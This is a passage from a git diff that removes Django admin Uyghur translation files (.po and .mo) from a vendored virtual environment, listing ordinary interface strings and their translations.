"%(sel)s of %(cnt)s selected" -msgstr[0] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" - -msgid "Now" -msgstr "" - -msgid "Clock" -msgstr "" - -msgid "Choose a time" -msgstr "" - -msgid "Midnight" -msgstr "" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "" - -msgid "Cancel" -msgstr "" - -msgid "Today" -msgstr "" - -msgid "Calendar" -msgstr "" - -msgid "Yesterday" -msgstr "" - -msgid "Tomorrow" -msgstr "" - -msgid "" -"January February March April May June July August September October November " -"December" -msgstr "" - -msgid "S M T W T F S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/django.mo deleted file mode 100644 index 13b8d2c1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/django.po deleted file mode 100644 index bdac66a8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/django.po +++ /dev/null @@ -1,790 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# abdl erkin <84247764@qq.com>, 2018 -# ABDULLA , 2014 -# Abduqadir Abliz , 2023-2024 -# Azat, 2023 -# Murat Orhun , 2023 -# Natalia, 2023 -# Serpidin Uyghur, 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:05+0000\n" -"Last-Translator: Abduqadir Abliz , 2023-2024\n" -"Language-Team: Uyghur (http://app.transifex.com/django/django/language/ug/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ug\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "تاللانغان%(verbose_name_plural)sنى ئۆچۈر" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d%(items)sمۇۋەپپەقىيەتلىك ئۆچۈرۈلدى" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)sنى ئۆچۈرەلمەيدۇ" - -msgid "Are you sure?" -msgstr "جەزىملەشتۈرەمسىز؟" - -msgid "Administration" -msgstr "باشقۇرۇش" - -msgid "All" -msgstr "ھەممىسى" - -msgid "Yes" -msgstr "ھەئە" - -msgid "No" -msgstr "ياق" - -msgid "Unknown" -msgstr "نامەلۇم" - -msgid "Any date" -msgstr "خالىغان چېسلا" - -msgid "Today" -msgstr "بۈگۈن" - -msgid "Past 7 days" -msgstr "ئۆتكەن 7 كۈن" - -msgid "This month" -msgstr "بۇ ئاي" - -msgid "This year" -msgstr "بۇ يىل" - -msgid "No date" -msgstr "چېسلا يوق" - -msgid "Has date" -msgstr "ۋاقتى بار " - -msgid "Empty" -msgstr "بوش" - -msgid "Not empty" -msgstr "بوش ئەمەس" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Please enter the correct %(username)s and password for a staff account. " -"دىققەت ھەر ئىككى بۆلەك چوڭ كىچىك يېزىلىشنى پەرقلەندۈرۈشى مۇمكىن." - -msgid "Action:" -msgstr "ھەرىكەت:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "باشقا %(verbose_name)sنى قوشۇش" - -msgid "Remove" -msgstr "چىقىرىۋەت" - -msgid "Addition" -msgstr "قوشۇش" - -msgid "Change" -msgstr "ئۆزگەرتىش" - -msgid "Deletion" -msgstr "ئۆچۈر" - -msgid "action time" -msgstr "مەشغۇلات ۋاقتى" - -msgid "user" -msgstr "ئىشلەتكۈچى" - -msgid "content type" -msgstr "مەزمۇن تىپى" - -msgid "object id" -msgstr "ئوبىيكىت كىملىكى" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "ئوبيېكت ۋەكىلى" - -msgid "action flag" -msgstr "ھەرىكەت بايرىقى" - -msgid "change message" -msgstr "ئۇچۇرنى ئۆزگەرتىش" - -msgid "log entry" -msgstr "خاتىرە تۈرى" - -msgid "log entries" -msgstr "خاتىرە تۈرلىرى" - -#, python-format -msgid "Added “%(object)s”." -msgstr "%(object)sقوشۇلدى" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "%(object)s%(changes)s گە ئۆزگەرتىلدى" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "%(object)sئۆچۈرۈلدى" - -msgid "LogEntry Object" -msgstr "خاتىرە تۈرى ئوبيېكتى" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” قا قوشۇلدى" - -msgid "Added." -msgstr "قوشۇلدى." - -msgid "and" -msgstr "ۋە" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}” نىڭ {fields} ئۆزگەرتىلدى" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "ئۆزگەرگەن {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "ئۆچۈرۈلگەن {name} “{object}”" - -msgid "No fields changed." -msgstr "ھېچقانداق مەيدان ئۆزگەرمىدى" - -msgid "None" -msgstr "يوق" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Mac دىكى «كونترول» ياكى «Ctrl» نى بېسىپ ، بىردىن كۆپنى تاللاڭ." - -msgid "Select this object for an action - {}" -msgstr "مەشغۇلات ئۈچۈن ئوبيېكت تاللىنىدۇ-{}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” مۇۋەپپەقىيەتلىك قوشۇلدى." - -msgid "You may edit it again below." -msgstr "تۆۋەندە قايتا تەھرىرلىسىڭىز بولىدۇ." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” مۇۋەپپەقىيەتلىك قوشۇلدى. تۆۋەندە باشقا {name} قوشسىڭىز بولىدۇ." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” مۇۋەپپەقىيەتلىك ئۆزگەرتىلدى. تۆۋەندە ئۇنى قايتا تەھرىرلىسىڭىز " -"بولىدۇ." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” مۇۋەپپەقىيەتلىك ئۆزگەرتىلدى. تۆۋەندە باشقا {name} قوشسىڭىز " -"بولىدۇ." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” مۇۋەپپەقىيەتلىك ئۆزگەرتىلدى." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"ھەرىكەت ئىجرا قىلىش ئۈچۈن تۈرلەر تاللىنىشى كېرەك. ھېچقانداق تۈر " -"ئۆزگەرتىلمىدى." - -msgid "No action selected." -msgstr "ھېچقانداق ھەرىكەت تاللىنمىدى." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s\"%(obj)s\" مۇۋەپپەقىيەتلىك ئۆچۈرۈلدى." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "ID سى \"%(key)s\" بولغان %(name)s مەۋجۇت ئەمەس. بەلكىم ئۇ ئۆچۈرۈلگەن؟" - -#, python-format -msgid "Add %s" -msgstr "%s نى قوش" - -#, python-format -msgid "Change %s" -msgstr "%sنى ئۆزگەرت" - -#, python-format -msgid "View %s" -msgstr "%sكۆرۈش" - -msgid "Database error" -msgstr "ساندان خاتالىقى" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)sنى %(name)sگە ئۆزگەرتىش مۇۋەپپىقىيەتلىك بولدى." -msgstr[1] "%(count)sنى%(name)sگە ئۆزگەرتىش مۇۋەپپىقىيەتلىك بولدى" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "ھەممە%(total_count)sتاللاندى " -msgstr[1] "ھەممە%(total_count)sتاللاندى" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s تۈردىن 0 نى تاللىدىڭىز." - -#, python-format -msgid "Change history: %s" -msgstr "تارىخنى ئۆزگەرتىش: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s%(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s%(instance)s نى ئۆچۈرۈش قوغدالغان تۆۋەندىكى ئۇچۇرلارنى " -"ئۆچۈرۈشنى تەلەپ قىلىدۇ: %(related_objects)s" - -msgid "Django site admin" -msgstr "جانگو تور بېكەت باشقۇرغۇچى" - -msgid "Django administration" -msgstr "جانگو باشقۇرۇش" - -msgid "Site administration" -msgstr "تور بېكەت باشقۇرۇش" - -msgid "Log in" -msgstr "كىرىش" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s باشقۇرۇش" - -msgid "Page not found" -msgstr "بەت تېپىلمىدى" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "كەچۈرۈڭ، لېكىن تەلەب قىلىنغان بەت تېپىلمىدى." - -msgid "Home" -msgstr "باش بەت" - -msgid "Server error" -msgstr "مۇلازىمېتىر خاتالىقى" - -msgid "Server error (500)" -msgstr "مۇلازىمېتىر خاتالىقى (500)" - -msgid "Server Error (500)" -msgstr "مۇلازىمېتىر خاتالىقى (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"خاتالىق كۆرۈلدى. بۇ ئۇچۇر تور بېكەت باشقۇرغۇچىلارغا ئېلخەت ئارقىلىق " -"ئۇقتۇرۇلدى ۋە تېزدىن تۈزۈتۈلىدۇ. سەبرىڭىزگە رەھمەت." - -msgid "Run the selected action" -msgstr "تاللانغان مەشغۇلاتنى ئىجرا قىل" - -msgid "Go" -msgstr "يۆتكەل" - -msgid "Click here to select the objects across all pages" -msgstr "بارلىق بەتلەردىكى ئوبىيكتلەرنى تاللاش ئۈچۈن بۇ يەرنى چېكىڭ." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "بارىلىق %(total_count)s%(module_name)s نى تاللا" - -msgid "Clear selection" -msgstr "تاللىغاننى تازىلا" - -msgid "Breadcrumbs" -msgstr "يول كۆرسەتكۈچى" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s پروگراممىسىدىكى مودېللار" - -msgid "Add" -msgstr "قوش" - -msgid "View" -msgstr "كۆرۈنۈش" - -msgid "You don’t have permission to view or edit anything." -msgstr "سىزنىڭ كۆرۈش ياكى تەھرىرلەش ھوقۇقىڭىز يوق." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"ئالدى بىلەن، ئىشلەتكۈچى ئاتى ۋە ئىم كىرگۈزۈلىدۇ. ئاندىن، تېخىمۇ كۆپ " -"ئىشلەتكۈچى تاللانمىلىرىنى تەھرىرلىيەلەيسىز." - -msgid "Enter a username and password." -msgstr "ئىشلەتكۈچى ئاتى ۋە پارول كىرگۈزۈڭ." - -msgid "Change password" -msgstr "پارولنى ئۆزگەرتىش" - -msgid "Set password" -msgstr "پارول تەڭشەك" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "تۆۋەندىكى خاتالىقلارنى توغرىلاڭ." -msgstr[1] "تۆۋەندىكى خاتالىقلارنى توغرىلاڭ." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "ئىشلەتكۈچى %(username)s ئۈچۈن يېڭى پارول كىرگۈزۈڭ." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"بۇ مەشغۇلات مەزكۇر ئىشلەتكۈچىنىڭ ئىم ئاساسىدىكى دەلىللىشىنى " -"قوزغىتىدۇ" - -msgid "Disable password-based authentication" -msgstr "ئىم ئاساسىدىكى دەلىللەشنى چەكلەيدۇ" - -msgid "Enable password-based authentication" -msgstr "ئىم ئاساسىدىكى دەلىللەشنى قوزغىتىدۇ" - -msgid "Skip to main content" -msgstr "ئاساسلىق مەزمۇنغا ئاتلا" - -msgid "Welcome," -msgstr "مەرھابا،" - -msgid "View site" -msgstr "بېكەتنى كۆرۈش " - -msgid "Documentation" -msgstr "قوللانمىلار" - -msgid "Log out" -msgstr "چىكىنىش" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)sنى قوشۇش" - -msgid "History" -msgstr "تارىخ" - -msgid "View on site" -msgstr "بېكەتتە كۆرۈش " - -msgid "Filter" -msgstr "سۈزگۈچ" - -msgid "Hide counts" -msgstr "ساناقنى يوشۇر" - -msgid "Show counts" -msgstr "ساناقنى كۆرسەت" - -msgid "Clear all filters" -msgstr "ھەممە سۈزگۈچلەرنى تازىلا" - -msgid "Remove from sorting" -msgstr "تەرتىپلەشتىن چىقىرىۋەت" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "تەرتىپلەش دەرىجىسى: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "تەرتىپلەشنى ئالماشتۇرۇش" - -msgid "Toggle theme (current theme: auto)" -msgstr "تېمىنى ئالماشتۇرۇش (ھازىرقى تېما: ئاپتوماتىك)" - -msgid "Toggle theme (current theme: light)" -msgstr "تېمىنى ئالماشتۇرۇش (ھازىرقى تېما: يورۇق)" - -msgid "Toggle theme (current theme: dark)" -msgstr "تېمىنى ئالماشتۇرۇش (ھازىرقى تېما: قارا)" - -msgid "Delete" -msgstr "ئۆچۈر" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s%(escaped_object)s نى ئۆچۈرۈش، ئۇنىڭغا باغلىق نەرسىلەرنى " -"ئۆچۈرۈشكە زۆرۈرلىنىدۇ ، لېكىن سىزنىڭ ھېساباتىڭىزدا تۆۋەندىكى تۈرلەرنى " -"ئۆچۈرۈش ھوقۇقى يوق:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s 's '%(escaped_object)s' نى ئۆچۈرۈش، تۆۋەندىكى قوغداق " -"قوغدالغان ئۇچۇرلارنى ئۆچۈرۈشنى تەلەپ قىلىدۇ:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"%(object_name)s %(escaped_object)s نى راستلا ئۆچۈرۈشنى خالامسىز؟ تۆۋەندىكى " -"بارلىق باغلىق تۈرلەر ئۆچۈرۈلىدۇ:" - -msgid "Objects" -msgstr "ئوبىيكتلار" - -msgid "Yes, I’m sure" -msgstr "ھەئە، شۇنداق" - -msgid "No, take me back" -msgstr "ياق، كەينىگە ياندۇر" - -msgid "Delete multiple objects" -msgstr "كۆپ ئوبىيكتنى ئ‍ۆچۈرۈش" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"تاللانغان %(objects_name)s نى ئۆچۈرۈش، ئۇنىڭغا باغلىق نەرسىلەرنى ئۆچۈرۈشكە " -"ئۆتۈرۈلۈدۇ، لېكىن سىزنىڭ ھېساباتىڭىزدا تۆۋەندىكى تۈرلەرنى ئۆچۈرۈش ھوقۇقى يوق:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"تاللانغان %(objects_name)s نى ئۆچۈرۈش، تۆۋەندىكى قوغداق قوغدالغان ئۇچۇرلارنى " -"ئۆچۈرۈشنى تەلەپ قىلىدۇ:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"تاللانغان %(objects_name)s نى راستلا ئۆچۈرۈشنى خالامسىز؟ تۆۋەندىكى بارلىق " -"نەرسىلەر ۋە ئۇلارغا باغلىق تۈرلەر ئۆچۈرۈلىدۇ:" - -msgid "Delete?" -msgstr "ئۆچۈرۈۋېتەمسىز؟" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s بويىچە" - -msgid "Summary" -msgstr "ئۈزۈندە" - -msgid "Recent actions" -msgstr "يېقىنقى مەشغۇلاتلار" - -msgid "My actions" -msgstr "مەشغۇلاتلىرىم" - -msgid "None available" -msgstr "ھېچنېمە يوق" - -msgid "Added:" -msgstr "قوشۇلدى:" - -msgid "Changed:" -msgstr "ئۆزگەردى:" - -msgid "Deleted:" -msgstr "ئۆچۈرۈلدى:" - -msgid "Unknown content" -msgstr "بەلگىلەنمىگەن مەزمۇن" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"سىزنىڭ مەلۇمات سانداننىڭ ئورنىتىشىدا بىرنەمە مەسىلە بار. توغرا ساندان " -"جەدۋىلى قۇرۇلغانلىقىنى جەزملەڭ، ۋە سانداننىڭ توغرا ئىشلەتكۈچى تەرىپىدىن " -"ئوقۇلىدىغانلىقىنى جەزملەڭ." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"سىز %(username)s دېگەن ئىشلەتكۈچى ھېساباتى بىلەن كىرگەنسىز، لېكىن بۇ بەتكە " -"كىرىش ھوقۇقىڭىز يوق. باشقا ھېساباتقا كىرىشنى خالامسىز؟" - -msgid "Forgotten your password or username?" -msgstr "پارول ياكى ئىشلەتكۈچى ئاتىڭىزنى ئۇنتۇپ قالدىڭىزمۇ؟" - -msgid "Toggle navigation" -msgstr "يۆل باشلىغۇچنى ئالماشتۇرۇش" - -msgid "Sidebar" -msgstr "يان بالداق" - -msgid "Start typing to filter…" -msgstr " فىلتىرلاش ئۈچۈن يېزىشنى باشلاڭ…" - -msgid "Filter navigation items" -msgstr "يۆل باشقۇرۇش تۈرلەرىنى سۈزۈش" - -msgid "Date/time" -msgstr "چېسلا/ۋاقىت" - -msgid "User" -msgstr "ئىشلەتكۈچى" - -msgid "Action" -msgstr "مەشغۇلات" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "تۈرى" -msgstr[1] "تۈرى" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"بۇ ئوبىيكتنىڭ ئۆزگەرتىش تارىخى يوق. بۇنى مۇمكىن بۇ باشقۇرۇش بېتى ئارقىلىق " -"قوشمىغان بولۇشى مۇمكىن." - -msgid "Show all" -msgstr "ھەممىنى كۆرسەت" - -msgid "Save" -msgstr "ساقلا" - -msgid "Popup closing…" -msgstr "قاڭقىشنى تاقاۋاتىدۇ…" - -msgid "Search" -msgstr "ئىزدە" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s نەتىجە" -msgstr[1] "%(counter)s نەتىجەسى" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s جەمى" - -msgid "Save as new" -msgstr "يېڭىدىن ساقلاش" - -msgid "Save and add another" -msgstr "ساقلاپ يېڭىسىنى قوشۇش" - -msgid "Save and continue editing" -msgstr "تەھرىرلەشنى داۋاملاشتۇرۇپ ساقلاش" - -msgid "Save and view" -msgstr "ساقلاش ۋە كۆرۈش" - -msgid "Close" -msgstr "ياپ" - -#, python-format -msgid "Change selected %(model)s" -msgstr "تاللانغان%(model)sنى ئۆزگەرت" - -#, python-format -msgid "Add another %(model)s" -msgstr "باشقا %(model)s قوش" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "تاللىغان %(model)s نى ئۆچۈر" - -#, python-format -msgid "View selected %(model)s" -msgstr "تاللىغان %(model)s نى كۆرسەت" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "بۈگۈن تور بېكەتتە ساپالىق ۋاقىت سەرىب قىلغىنىڭىزغا رەھمەت." - -msgid "Log in again" -msgstr "قايتا كىرىڭ" - -msgid "Password change" -msgstr "پارولنى ئۆزگەرتىش" - -msgid "Your password was changed." -msgstr "پارولىڭىز ئۆزگەرتىلگەن" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"بىخەتەرلىك ئۈچۈن ئەسلى پارولىڭىزنى كىرگۈزۈڭ، ئاندىن يېڭى پارولىڭىزنى ئىككى " -"قېتىم كىرگۈزۈڭ، بۇنىڭ ئارقىلىق سىز توغرا يېزىب بولغىنىڭىزنى دەلىللەيمىز." - -msgid "Change my password" -msgstr "پارولىمنى ئۆزگەرتىىمەن" - -msgid "Password reset" -msgstr "ئىمنى ئەسلىگە قايتۇرۇش" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "پارول ئۆزگەرتىلدى. داۋاملاشتۇرۇپ تىزىمغا كىرسىڭىز بولىدۇ." - -msgid "Password reset confirmation" -msgstr "پارول ئەسلىگە قايتۇرۇشنى جەزملەش" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"يېڭى پارولىڭىزنى ئىككى قېتىم كىرگۈزۈڭ، بۇنىڭ ئارقىلىق سىز توغرا كىرگۈزۈب " -"بولغىنىڭىزنى دەلىللەيمىز." - -msgid "New password:" -msgstr "يېڭى پارول:" - -msgid "Confirm password:" -msgstr "پارولنى جەزملە:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"پارولنى قايتا بەلگىلەش ئۈچۈن بېرىلگەن ئۇلانما ئىناۋەتسىز بولدى، بۇ ئۇلانما " -"ئاللىبۇرۇن ئىشلىتىلگەن بولۇشى مۇمكىن. يېڭى پارولنى قايتا بەلگىلەش ئۈچۈن " -"ئىلتىماس قىلىڭ." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"سىز كىرگۈزگەن ئېلخەت ئادرېسىغا ھېسابات بولسا، پارول قويۇش ئۈچۈن سىزگە ئېلخەت " -"ئارقىلىق چۈشەندۈرۈش يوللىدۇق. سىز قىسقا ۋاقىت ئىچىدە ئۇخەتنى تاپشۇرۇب " -"ئېلىشىڭىز كېرەك." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"ئېلخەت تاپشۇرۇپ ئالمىغان بولسىڭىز، تىزىملىتىپ بولغان ئېلخەت ئادرېسىڭىزنى " -"توغرا كىرگۈزگەنلىكىڭىزنى جەزملەڭ ۋە ئېلخەت ئادرېسىڭىزنىڭ ئەخلەت ساندۇغىنى " -"تەكشۈرۈڭ." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"سىز بۇ ئېلخەتنى تاپشۇرۇب ئالدىڭىز، چۈنكى ، %(site_name)s دىكى ئىشلەتكۈچى " -"ھېساباتىڭىزنىڭ پارولىنى قايتا بەلگىلەشنى ئىلتىماس قىلدى." - -msgid "Please go to the following page and choose a new password:" -msgstr "كىيىنكى بەتكە كىرىڭ ۋە بىر شىفرە تاللاڭ:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "ئىشلەتكۈچى ئىسمىڭىز، ئۇنتۇپ قالغان ئەھۋال ئاستىدا:" - -msgid "Thanks for using our site!" -msgstr "تور بېكىتىمىزنى ئىشلەتكىنىڭىز ئۈچۈن رەھمەت!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s قوشۇنى" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"شىفرىڭىزنى ئۇنتۇپ قالدىڭىزمۇ؟ تۆۋەنگە ئېلىكتىرونلۇق ئېلىخەت ئادرىسىڭىزنى " -"كىرگۈزۈڭ، يېڭىسىنى تەڭشەش ئۈچۈن كۆرسەتمىلىك ئېلىخەت ئەۋەتىمىز ." - -msgid "Email address:" -msgstr "ئېلخەت ئادرېسى:" - -msgid "Reset my password" -msgstr "پارولىمنى قايتا بەلگىلەش" - -msgid "Select all objects on this page for an action" -msgstr "مەشغۇلات ئۈچۈن بۇ بەتتىكى ھەممە ئوبيېكت تاللىنىدۇ" - -msgid "All dates" -msgstr "بارلىق چىسلا" - -#, python-format -msgid "Select %s" -msgstr "%sنى تاللاش" - -#, python-format -msgid "Select %s to change" -msgstr "تاللانغان %sنى ئۆزگەرتش" - -#, python-format -msgid "Select %s to view" -msgstr "تاللانغان %sنى كۆرۈش" - -msgid "Date:" -msgstr "چېسلا:" - -msgid "Time:" -msgstr "ۋاقتى:" - -msgid "Lookup" -msgstr "ئىزدە" - -msgid "Currently:" -msgstr "نۆۋەتتە:" - -msgid "Change:" -msgstr "ئۆزگەرتىش:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.mo deleted file mode 100644 index a0662270..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.po deleted file mode 100644 index 90c0a880..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,323 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abduqadir Abliz , 2023 -# Azat, 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Abduqadir Abliz , 2023\n" -"Language-Team: Uyghur (http://app.transifex.com/django/django/language/ug/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ug\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "ئىشلەتكىلى بولىدىغانى %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"بۇ، تاللاشقا بولىدىغان %s تىزىملىكى. تۆۋەندىكى تىزىملىكلەر ئارىسىدىن " -"بەزىلىرنى تاللاڭ ئاندىن «تاللاش» نى چېكىڭ." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "بۇ رامكىغا يېزىش ئارقىلىق قاتناشقىلى بولىدىغان %s تىزىملىكىنى سۈزۈڭ." - -msgid "Filter" -msgstr "سۈزگۈچ" - -msgid "Choose all" -msgstr "ھەممىنى تاللا" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "بېسىب بارلىق تاللانغان %sنىڭ ھەممىسىنى تاللاڭ" - -msgid "Choose" -msgstr "تاللا" - -msgid "Remove" -msgstr "چىقىرىۋەت" - -#, javascript-format -msgid "Chosen %s" -msgstr "تاللانغانلىرى %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"بۇ، تاللانغان %s تىزىملىكى. تۆۋەندىكى تىزىملىكلەر ئارىسىدىن بەزىلىرنى " -"تاللاڭ ئاندىن «چىقىرىش» نى چېكىڭ." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "بۇ رامكىغا يېزىش ئارقىلىق تاللانغان %s سۈزۈڭ." - -msgid "Remove all" -msgstr "ھەممىنى چىقىرىۋەت" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "بېسىب بارلىق تاللانغان %sنىڭ ھەممىسىنى چىقىرىۋېتىڭ" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s تاللانغانلىرى كۆرۈنمەيدۇ" -msgstr[1] "%s تاللانغانلىرى كۆرۈنمەيدۇ" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s دىن %(cnt)s سى تاللاندى" -msgstr[1] "%(sel)s دىن %(cnt)s سى تاللاندى" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be 